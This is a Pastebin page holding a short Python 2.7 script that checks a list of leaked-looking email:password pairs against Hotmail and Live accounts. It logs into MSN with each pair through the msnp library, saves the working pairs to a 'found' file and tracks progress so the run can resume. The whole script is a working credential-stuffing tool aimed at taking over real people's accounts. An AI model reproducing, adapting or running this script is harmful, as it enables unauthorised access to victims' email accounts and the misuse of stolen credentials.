Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python2.7
- f = open("/home/josh/emailpass.txt")
- stetes = open("/home/josh/status.txt")
- ples = stetes.readline()
- stetes.close()
- totali = float(len(f.readlines()))
- f.close()
- f = open("/home/josh/emailpass.txt")
- f2 = open("/home/josh/found.txt","a")
- stats = float(0)
- great = 0
- for gege in range(int(totali)):
- koo = f.readline()
- stats = float(stats + 1)
- if koo.strip() == ples.strip():
- print "sup"
- break
- print "loep"
- import msnp
- great = 0
- msn = msnp.Session()
- for line in f.readlines():
- f2.close()
- f2 = open("/home/josh/found.txt","a")
- stats = float(stats + 1)
- print str((stats / totali) * 100) + "% done!\nNow checking: " + line + "\nSo far, " + str(great) + " addresses worked. ;p"
- if len(line.split("@hotmail.")) > 1 or len(line.split("@live.")) > 1:
- good = 1
- leaddress = line.split(":")[0].strip()
- lepass = line.split(":")[1].strip()
- try:
- msn.login(leaddress,lepass)
- msn.logout()
- except msnp.error.HttpError, err:
- if int(err.http_status) == 401:
- good = 0
- else:
- uhoh = open("/home/josh/log.txt","w")
- uhoh.write(err.message + ":" + err.code + ":" + err.http_status)
- uhoh.close()
- raise
- if good:
- f2.write(line)
- great = great + 1
- stetes = open("/home/josh/status.txt","w")
- stetes.write(line)
- stetes.close()
- f.close()
- f2.close()
Add Comment
Please, Sign In to add comment